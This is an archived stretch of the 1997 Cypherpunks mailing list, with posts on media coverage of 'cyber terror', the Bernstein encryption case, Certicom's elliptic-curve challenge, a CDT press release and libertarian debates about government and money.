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 OAczuDMWn7ie9LRM5qs76l8VwwlLiDY2EwrK =Lmhc -----END PGP MESSAGE----- From x4 at juno.com Tue Dec 9 11:24:46 1997 From: x4 at juno.com (X Four) Date: Wed, 10 Dec 1997 03:24:46 +0800 Subject: ABCnews/Nightline on Cyber Terror 8-Dec-97 Message-ID: <19971209.140719.6358.1.x4@juno.com> Last night, ABC news once again stroked the fires of fear and raised the boogieman of "Hackers" destroying the goverment, banks, power plants, ad nauseum. Of course, the main guest was from the US Govt's new trumpeter of CyberTerrorizm, "the President's Commission on Critical Infrastructure Protection". A full transcript is available. _______________________________________________________ Revolution in a Box -- Cyber Terror -- AIR DATE: Monday, Dec. 8, 1997 http://www.abcnews.com/onair/nightline/html_files/transcripts/ntl1208.html ABC technology correspondent Gina Smith investigates the vulnerability of our nation�s computer systems and what is being done to protect them from the threat of hackers. Guest: Jamie Gorelick, co-chair, Advisory Committee of the President�s Commission on Critical Infrastructure Protection Jamie Gorelick: Well, there are a number of things we can do. I mean, the effort that has been started already is one to build a partnership between the government and the private sector to work together to know when we�re being attacked, to share information, to ensure that we have the right research and eventually to be in a position to respond to an attack with the best efforts we can. From nobody at REPLAY.COM Tue Dec 9 12:09:04 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 10 Dec 1997 04:09:04 +0800 Subject: [RePol] ABCnews/Nightline on Cyber Terror 8-Dec-97 Message-ID: <199712091958.UAA05503@basement.replay.com> X Four wrote: > > Last night, ABC news once again stroked the fires of fear and raised the > boogieman of "Hackers" destroying the goverment, banks, power plants, ad > nauseum. Of course, the main guest was from the US Govt's new trumpeter > of CyberTerrorizm, "the President's Commission on Critical Infrastructure > Protection". A full transcript is available. > _______________________________________________________ > > Revolution in a Box -- Cyber Terror -- AIR DATE: Monday, Dec. 8, 1997 > http://www.abcnews.com/onair/nightline/html_files/transcripts/ntl1208.html > > Jamie Gorelick: Well, there are a number of things we can do. I mean, the > effort that has been started already is one to build a partnership > between the government and the private sector to work together Is it not funny how this theme of the "government and the private sector" working together is becoming a worldwide theme, just as the theme of "cooperation between governments" is also becoming a universal theme? Can you say, "Fascism?" Sure you can... Can you say, "New World Order?" Sure you can... Can you say, "Bend me over and stick a crowbar up my ass?"... From nobody at bureau42.ml.org Tue Dec 9 12:15:37 1997 From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer) Date: Wed, 10 Dec 1997 04:15:37 +0800 Subject: [Censored] Quote of the Day Message-ID: From: Fyodor Reply-To: fygrave at usa.net ---------- Forwarded message ---------- Date: Tue, 9 Dec 1997 03:50:03 -0700 From: Quote of the day "Free Speech, Democracy" - complete text of a sign put up on a roadside fence in Vancouver by university law student Craig Jones. Jones was arrested for doing so by Royal Canadian Mounted Police, who were protecting dictators attending the APEC (Asia Pacific Economic Cooperation) meeting in Vancouver, November 1997 from dissent. He was released without being charged after 14 hours in custody. Submitted by: Terry Labach Dec. 1, 1997 -------------------------------------------------------------- Send quotation submissions to qotd at ensu.ucalgary.ca Send list changes or requests to qotd-request at ensu.ucalgary.ca From mixmaster at remail.obscura.com Tue Dec 9 12:25:37 1997 From: mixmaster at remail.obscura.com (Mix) Date: Wed, 10 Dec 1997 04:25:37 +0800 Subject: Cato forum tomorrow: should money laundering be a crime? Message-ID: <199712092004.MAA01059@sirius.infonex.com> Lucky Green wrote: >If the feds can *kill* you for any reason or no reason at all, they >certainly can throw you into the slammer for whatever you may choose to >utter. >From Thoreau's "Civil Disobedience": "Under a government which imprisons any unjustly, the true place for a just man is also a prison." [...] "If the injustice is part of the necessary friction of the machine of government, let it go, let it go: perchance it will wear smooth, -certainly the machine will wear out. If the injustice has a spring, or a pulley, or a rope, or a crank, exclusively for itself, then perhaps you may consider whether the remedy will not be worse than the evil; but if it is of such a nature that it requires you to be the agent of injustice to another, then, I say, break the law. Let your life be a counter friction to stop the machine. What I have to do is to see, at any rate, that I do not lend myself to the wrong which I condemn." From nobody at REPLAY.COM Tue Dec 9 12:47:29 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 10 Dec 1997 04:47:29 +0800 Subject: Encrypted InterNet DEATH THREAT!!! / ATTN: Ninth District Court Judges / PASSWORD: sog Message-ID: <199712092038.VAA10120@basement.replay.com> John Gilmore wrote: >The problem: Criminals with a simple >encryption program can scramble their data >beyond even the government's ability to read it. >http://www.zdnet.com/zdnn/content/zdnn/1208/261695.html > Fuck the lame LEA pricks who whine about not being able to >stop someone bringing in a planeload of drugs without being >able to invade the privacy of every person on the face of >the earth. > Am I supposed to believe that I have knowledge of when and >where major drug shipments are taking place, simply by virtue >of hanging out as a musician, yet the LEA's are incapable of >finding out the same information by being competent in their >profession? Barf City... If memory serves me correctly then the above was written by the John Gilmore cleverly disguised as TruthMonger who railed mightily against the LEAs for claiming lack of resources and manpower for battling the 4 Horsemen despite the fact that LEAs always seem to have all the time and energy needed to attempt to imprison the grandmothers of our great nation who dare to plug a stranger's parking meter for him or her. I am always amazed that the LEA pleas for increased funding are generally based upon their own lack of effectiveness. i.e. "We are so lame that even with the current mountain of money and resources at our fingertips we cannot catch criminals who are much smarter than us." Perhaps the solution to crime is to fire the current LEAs and hire the criminals to replace them. Not that I am a troublemonger... !TroubleMonger From lists at castle5.castlec.com Tue Dec 9 13:03:51 1997 From: lists at castle5.castlec.com (Jrbl Pookah) Date: Wed, 10 Dec 1997 05:03:51 +0800 Subject: Remailer Trivia / Re: Singapore & Freedom (fwd) In-Reply-To: <199712091400.IAA04323@einstein.ssz.com> Message-ID: > > Jim Choate writes: > > > > > To the best of my knowledge no phone company anywhere > > > will allow a customer to purchase service without identifying themselves to > > > the phone company. Please let me know if there is such a beast somewhere. Hmm. Excuse the interruption into your conversation here, but I've signed up (in the past) for long-distance service under an assumed name, on a telephone line that I held in a different assumed name. At least in Cincinnati, OH, the phone company didn't (doesn't?) really care, as long as they had a place to send the bills. When they asked for my SSN, I simply told them I wouldn't give it to them, and offered my date-of-birth - which I lied about. They didn't mind. From declan at well.com Tue Dec 9 13:15:35 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 10 Dec 1997 05:15:35 +0800 Subject: Staff changes at the Center for Democracy and Technology Message-ID: -- FOR IMMEDIATE RELEASE Contact: Graeme Browning voice: 202-637-9800, ext. 275 email: gbrowning at cdt.org JOURNALIST AND AUTHOR GRAEME BROWNING JOINS THE CENTER FOR DEMOCRACY AND TECHNOLOGY AS COMMUNICATIONS DIRECTOR FORMER COMMUNICATIONS DIRECTOR JONAH SEIGER TO ESTABLISH CAMPAIGN CONSULTING FIRM Washington, DC, December 9, 1997 -- The Center for Democracy and Technology (CDT), a leading online civil liberties group, today announced that Graeme Browning, a former reporter for some of the country's most prominent newspapers and magazines, as well as author of a recent book on using the Internet to transform politics, has become the group's new Communications Director. Browning replaces Jonah Seiger, who is leaving to form a Washington-based Internet campaign consulting company with Shabbir J. Safdar, former director of the Voters Telecommunications Watch, a public interest group in New York City. With Browning's help the Center for Democracy and Technology will broaden its efforts to promote democratic values, free speech and privacy in the Digital Age. "Graeme's years of experience with both the print and the electronic media will be a valuable resource for us as we build on Jonah's excellent work and reach out to the rapidly expanding audience of citizens who use the Internet," said Jerry Berman, CDT's executive director. "Graeme shares our vision of the Net as the medium best able to nurture the many voices of a democracy. Her ability to articulate that vision will be of critical value to CDT." Browning, who holds a law degree from Vanderbilt University, joins CDT after six years covering Congress and high-tech issues for National Journal, one of the most respected political magazines in Washington. She has also been a reporter with the Washington Post, the Chicago Sun-Times, the (Baltimore) Sun, the (Nashville) Tennessean, and United Press International, and was also legal affairs reporter for the ABC network affiliate in Nashville. Last year Browning established herself as an authority in the Internet policy area with the publication of Electronic Democracy: Using the Internet to Influence American Politics (Pemberton Press, 1996), a guide to computer-based grassroots organizing that the Washington Times called "an essential book for anyone who wants to navigate the political dimensions of the Internet." Seiger, who has been a key staff member of the Center for Democracy and Technology since its founding in late 1994, "played a crucial role in developing CDT's pioneering use of the 'Net as a means of grassroots organizing and public education," Berman said. "Jonah was instrumental in positioning CDT as the leading voice on issues impacting civil liberties on the Internet. He has been a tremendous asset for us from the start." "I am confident that Jonah and Shabbir will be successful at bringing their considerable online organizing skills to a wider audience," Berman added, "and CDT looks forward to collaborating with them in their new venture." In the past three years, Berman said, Seiger has made major contributions to a number of CDT accomplishments, including: * the defeat of an important anti-encryption proposal before the House Commerce Committee, * the "blacken your Web page" protest of the Communications Decency Act in December 1996, * and the recruitment of more than 57,000 Internet users to a coalition supporting CDT's ultimately successful efforts to persuade the U.S. Supreme Court to overturn the Act. * Seiger also organized CDT's production of the first live cybercast of a congressional hearing on the Internet, * and launched democracy.net, a Web site devoted to cybercasting live "Town Hall" meetings with Members of Congress as well as hearings on such issues as encryption and the right to privacy online. Seiger and Safdar's new firm will provide strategic consulting and online advocacy management and campaign design services to help non-profits, associations and candidates use the Internet to advance public policy goals. Safdar founded the Voters Telecommunications Watch in 1994 and has collaborated with CDT on several major online campaigns. The Center for Democracy and Technology, a non-profit public interest organization based in Washington, D.C., works to advance civil liberties and democratic values on the Internet and in other interactive media. # # # # # From vznuri at netcom.com Tue Dec 9 13:20:01 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Wed, 10 Dec 1997 05:20:01 +0800 Subject: bernstein case hits appeals court Message-ID: <199712092112.NAA11053@netcom13.netcom.com> ------- Forwarded Message Date: Tue, 09 Dec 1997 12:59:41 To: believer at telepath.com From: believer at telepath.com Subject: IP: Encryption case hits U.S. appeals court Encryption case hits U.S. appeals court Copyright � 1997 Reuters SAN FRANCISCO (December 8, 1997 9:47 p.m. EST http://www.nando.net) - Lawyers for a software developer argued Monday in federal appeals court that government controls on distribution of computer encryption code constitute an unlawful prior restraint of free speech. In the closely watched case pitting national security interests against the right to free speech, a government attorney countered that the software in question was a sensitive product and that its distribution should be limited by the government. At issue is whether a code developed by Daniel Bernstein, now a professor at the University of Illinois, constitutes a form of speech and should therefore be protected under the First Amendment to the U.S. Constitution. Encryption software allows computer data to be scrambled in order to ensure the confidentiality of information. Current federal law prohibits the export of strong encryption software because of concerns over national security, even though powerful encryption codes are already available overseas or on the Internet from foreign manufacturers. Monday's hearing before a three-judge panel of the 9th U.S. Circuit Court of Appeals was prompted after U.S. District Judge Marilyn Hall Patel ruled in August that the Constitution prevented the government from placing export restrictions on the code. The government appealed. Scott McIntosh, an attorney representing the Department of Commerce, told the judges the code should be viewed not as a form of speech but as a product that in the wrong hands could jeopardize national security. The three justices grilled McIntosh during his allotted 20 minutes, often preventing him from finishing his sentences. "They asked probing questions and beyond that I don't want to characterize," McIntosh told reporters after the hearing. Bernstein sued several government agencies in 1995 after he was told that he would need to be licensed as an arms dealer to post his software encryption code, called Snuffle 5.0, on the Internet. Cindy Cohn, who headed Bernstein's legal team, argued that Snuffle was an expression of free speech and should be protected from the kind of scheme that the government uses to regulate code. "The basic flaw with the government's position is that they use a pre-publication licensing scheme," Cohn said. "That's exactly the point -- when the government sets up a bureaucrat to decide who gets to speak and who does not, that's a form of prior restraint." Compared with the harried questioning of McIntosh, the justices questioned Cohn fewer times, allowing her to finish her sentences more often. Cohn later told reporters she was pleased with the hearing, although she declined to comment on the outcome. A decision by the court could come at any time over the next few weeks. By GREG FROST, Reuters Copyright � 1997 Nando.net ********************************************** To subscribe or unsubscribe, email: majordomo at majordomo.pobox.com with the message: subscribe ignition-point email at address or unsubscribe ignition-point email at address ********************************************** http://www.telepath.com/believer ********************************************** ------- End of Forwarded Message From ravage at ssz.com Tue Dec 9 13:38:41 1997 From: ravage at ssz.com (Jim Choate) Date: Wed, 10 Dec 1997 05:38:41 +0800 Subject: Remailer Trivia / Re: Singapore & Freedom (fwd) Message-ID: <199712092149.PAA05901@einstein.ssz.com> Forwarded message: > Date: Tue, 9 Dec 1997 15:57:15 -0500 (EST) > From: Jrbl Pookah > Subject: Re: Remailer Trivia / Re: Singapore & Freedom (fwd) > > Hmm. Excuse the interruption into your conversation here, but > I've signed up (in the past) for long-distance service under an assumed > name, on a telephone line that I held in a different assumed name. At > least in Cincinnati, OH, the phone company didn't (doesn't?) really care, > as long as they had a place to send the bills. When they asked for my > SSN, I simply told them I wouldn't give it to them, and offered my > date-of-birth - which I lied about. They didn't mind. > Was the identity 'anonymous'? The other issues are irrelevant to this discussion. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From ravage at ssz.com Tue Dec 9 13:44:42 1997 From: ravage at ssz.com (Jim Choate) Date: Wed, 10 Dec 1997 05:44:42 +0800 Subject: [Censored] Quote of the Day (fwd) Message-ID: <199712092156.PAA05960@einstein.ssz.com> Forwarded message: > Date: Tue, 9 Dec 1997 19:46:07 GMT > From: bureau42 Anonymous Remailer > Subject: [Censored] Quote of the Day > From: Quote of the day > > "Free Speech, Democracy" > > - complete text of a sign put up on a roadside fence in Vancouver by > university law student Craig Jones. Jones was arrested for doing so by > Royal Canadian Mounted Police, who were protecting dictators attending > the APEC (Asia Pacific Economic Cooperation) meeting in Vancouver, > November 1997 from dissent. He was released without being charged > after 14 hours in custody. > > Submitted by: Terry Labach > Dec. 1, 1997 What charge was he arrested on? Was it his property? Did he have the land owners permission? He should have put it on a pole on the right of way. I own some land, you go putting a sign on my fence without my permission and I promise you I will press tresspasing charges in an instant, even if I agree with the sentiment. I've had to threaten several DPS officers (Texas state troopers) with this because they like to park their cruiser in the drive outside my fence but still within the property line without asking my permission to do paperwork and eat. They don't do it anymore. ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From nobody at REPLAY.COM Tue Dec 9 13:47:58 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 10 Dec 1997 05:47:58 +0800 Subject: No Subject Message-ID: <199712092134.WAA16900@basement.replay.com> Last week soon after I took a KRAP, I cracked IDEA using my Windoze calculator in 2.7 hours, smoked a pipe bomb I made from a formula I found on the internet, got invited onto the Jerry Springer Show to embarrass myself but a midget without arms somehow put me in a headlock. I love being on the Cypherpunks list!!! From ravage at ssz.com Tue Dec 9 13:49:49 1997 From: ravage at ssz.com (Jim Choate) Date: Wed, 10 Dec 1997 05:49:49 +0800 Subject: Elliptic Curve Tidbit (fwd) Message-ID: <199712092201.QAA06107@einstein.ssz.com> Forwarded message: >From owner-austin-cpunks at ssz.com Tue Dec 9 10:26:41 1997 Message-Id: <9712091607.AA17974 at sso-austin.sps.mot.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: combee at sso-austin.sps.mot.com (Ben Combee) To: austin-cpunks at ssz.com Subject: Elliptic Curve Tidbit Date: Tue, 9 Dec 97 10:06:53 CST Sender: owner-austin-cpunks at ssz.com Precedence: bulk Reply-To: austin-cpunks at ssz.com (From today's TBTF) ..First level of Certicom Challenge falls The first shot is fired in an elliptic-curve challenge Certicom is a maker of elliptic-curve encryption software. ECC al- gorithms are drawing considerable interest and study because they hold out the possibility of offering security comparable to the RSA algorithms using smaller keys, therefore requiring less computation. This possibility is not yet considered verified by most of the math- ematics and cryptosystems research community. The assumption that ECC encryption can use smaller keys is the as- sumption that no subexponential-time solution exists for the mathe- matical problem (the elliptic curve discrete logarithm problem) on which ECC is based. The only solution to ECDLP known to exist takes fully exponential time. In contrast, both of the other well-studied mathematical problems that underly modern cryptosystems -- the in- teger factorization problem (e.g., RSA) and the discrete logarithm problem (e.g., Diffie-Hellman) -- have solutions that require only subexponential time. In order to gain exposure and to jumpstart the expert scrutiny that ECC will need if it is to be widely trusted, Certicom is sponsoring a crypto crack contest (they call it a challenge) [17]. The challenge comes in three parts: a series of "warmup exercises" followed by Level 1 and Level 2 problems [18]. A total of $625,000 in prize money is offered. Yesterday Robery Harley announced [19] that he and Wayne Baisley had cracked one of two first-level warmup exer- cises, a 79-bit problem [20] designated ECCp-79. At this writing he has had no reply and the Certicom status page [21] has not been up- dated, so it is possible (but unlikely) that Harley's claim will prove not to be the first. If it is, he will receive as a prize a copy of the Handbook of Applied Cryptography (though somehow I suspect he's already read it) and a Maple V encryption package from Certicom. Certicom estimates the difficulty of the warmup exercises thus: > Using a network of 3000 computers, it is expected that the > 79-bit exercise could be solved in a matter of hours, the > 89-bit in a matter of days, and the 97-bit in a matter of > weeks. Harley and Baisley applied 6 computers to ECCp-79 and solved it in a bit under 10 days, which would have amounted to less than half an hour had they had 3000 machines to throw at the problem. Harley takes the opportunity presented by his winning claim [19] to tweak Certicom for their membership in the Key Recovery Alliance [22]. If the company replies to him substantively on this point, I'll post their response on the TBTF archive. [17] http://www.certicom.com/chal/index.htm [18] http://www.certicom.com/chal/ch4.htm [19] http://www.tbtf.com/resource/certicom1.html [20] http://www.certicom.com/chal/curves.htm [21] http://www.certicom.com/chal/ch_52.htm [22] http://www.kra.org/roster.html -- Ben Combee, Software Guru (ARMy Core of Engineers) Motorola > MIMS > MSPG > CTSD > Austin Design Center E-mail: ra3781 at email.mot.com Phone: (512) 895-7141 From rick at rentec.com Tue Dec 9 13:54:14 1997 From: rick at rentec.com (R Bradley) Date: Wed, 10 Dec 1997 05:54:14 +0800 Subject: ABCnews/Nightline on Cyber Terror 8-Dec-97 In-Reply-To: <19971209.140719.6358.1.x4@juno.com> Message-ID: <199712092137.NAA17596@rentec.com> I seem to recall X Four writing: > Last night, ABC news once again stroked the fires of fear and raised the > boogieman of "Hackers" destroying the goverment, banks, power plants, ad > nauseum. Of course, the main guest was from the US Govt's new trumpeter > of CyberTerrorizm, "the President's Commission on Critical Infrastructure > Protection". A full transcript is available. > http://www.abcnews.com/onair/nightline/html_files/transcripts/ntl1208.html I recommend that those concerned light a fire under the media's collective large @sses on the issue concerning the government's history of lofty morals concerning their citizens and their computers. I have been epistle-ing all afternoon. Rick From jya at pipeline.com Tue Dec 9 13:57:54 1997 From: jya at pipeline.com (John Young) Date: Wed, 10 Dec 1997 05:57:54 +0800 Subject: FBI's Kallstrom Retiring Message-ID: <1.5.4.32.19971209214836.006f6cfc@pop.pipeline.com> Thanks to Anon: CNN is saying FBI Ass. Dir. Jimmy "I never met a tap I didn't like" Kallstrom is retiring. He was the standard-bearer for the FBI Wiretap bill, and is a noted ally of Louie Freeh. He's going to work for MNBA Bank. From schear at lvdi.net Tue Dec 9 14:05:19 1997 From: schear at lvdi.net (Steve Schear) Date: Wed, 10 Dec 1997 06:05:19 +0800 Subject: Cato forum tomorrow: should money laundering be a crime? In-Reply-To: Message-ID: Thanks Lucky, I wasn't aware of that ;-) At 9:52 AM +0100 12/9/1997, Lucky Green wrote: >On Mon, 8 Dec 1997, Steve Schear wrote: >> >> Isn't uttering a check protected speech? What about if a check is stego-coded in some political rant? Can the Feds insist I not utter that speech? > >The feds can do anything they want. If it pleases them to put a bullet >through your head, or that of you wife, they can do so at their leisure. >Without any fear of future consequences. Just ask Randy Weaver. Or his >wife. Never mind. You can't ask his wife. She received a bullet. > >If the feds can *kill* you for any reason or no reason at all, they >certainly can throw you into the slammer for whatever you may choose to >utter. > >-- Lucky Green PGP v5 encrypted email preferred. > "Tonga? Where the hell is Tonga? They have Cypherpunks there?" From nobody at bureau42.ml.org Tue Dec 9 14:08:40 1997 From: nobody at bureau42.ml.org (bureau42 Anonymous Remailer) Date: Wed, 10 Dec 1997 06:08:40 +0800 Subject: Encrypted InterNet DEATH THREAT!!! / ATTN: Ninth District Message-ID: Court Judges TruthMailer wrote: > p.p.s. > You can also charge me with use of 'conventional' encryption > in the commission of a crime. > Must be your lucky fucking day, eh? If I were TruthMonger, I would worry more about being charged with the "use of stupidity" in the commission of a crime. From nobody at REPLAY.COMNerthus Tue Dec 9 14:43:52 1997 From: nobody at REPLAY.COMNerthus (Anonymous) Date: Wed, 10 Dec 1997 06:43:52 +0800 Subject: Cato forum tomorrow: should money laundering be a crime? Message-ID: <199712092239.XAA24151@basement.replay.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Steve Schear wrote: >Nerthus wrote: >>Might be a bit of a stretch, but I think this is because money today is >>inherently a liability, that is a debt that someone, somewhere has promised >>to pay back. > >You've got this all backwards. The bearer certificates (paper money) issued >by governments is an interest-free loan by those holding the paper to the >issuer. This is true, but it is only part of the picture. The paper currency issuer (the central bank) is enjoying seigniorage, that is -- in the case of the US - -- the Federal Reserve is collecting revenue from the interest earned on the outstanding paper dollars. This earned interest is given to the Treasury and accounted for as revenue for the federal government. However, this tells us nothing about the currency's real worth. We need to look deeper to find the source of the paper currency's value. When the US government wants to create money, it issues debt instruments such as T-Bills to the Fed or to a commercial bank. The bank then credits the government's deposit (checking) account for the face value of the T-Bill. The bank believes it will collect this money back plus interest in a certain amount of time. The government can then ask the Fed to issue some paper cash in exchange for the deposit currency (new paper is then created). The T-Bill is nothing but a promise by the federal government to pay back a debt. The government has taken a loan from a bank and promises to pay it back in 1,5,10 or 30 years with interest. The money to pay it back comes directly from the tax revenues the government collects from its citizens. Thus paper currency is based on the debt saddled upon future generations of citizens/taxpayers. Interestingly, this is not much different than John Q. Public getting cash advances on his credits cards for a few years and then wondering why he is $25k in the hole and growing at 18% per annum. Many people, especially politicians, always go for the short term gain, regardless of the long term consequences. Debt-based currency (primarily a 20th century phenomenon) has ushered in a new era of political and financial irresponsibility. Eventually the debts must either be reneged on or paid off. 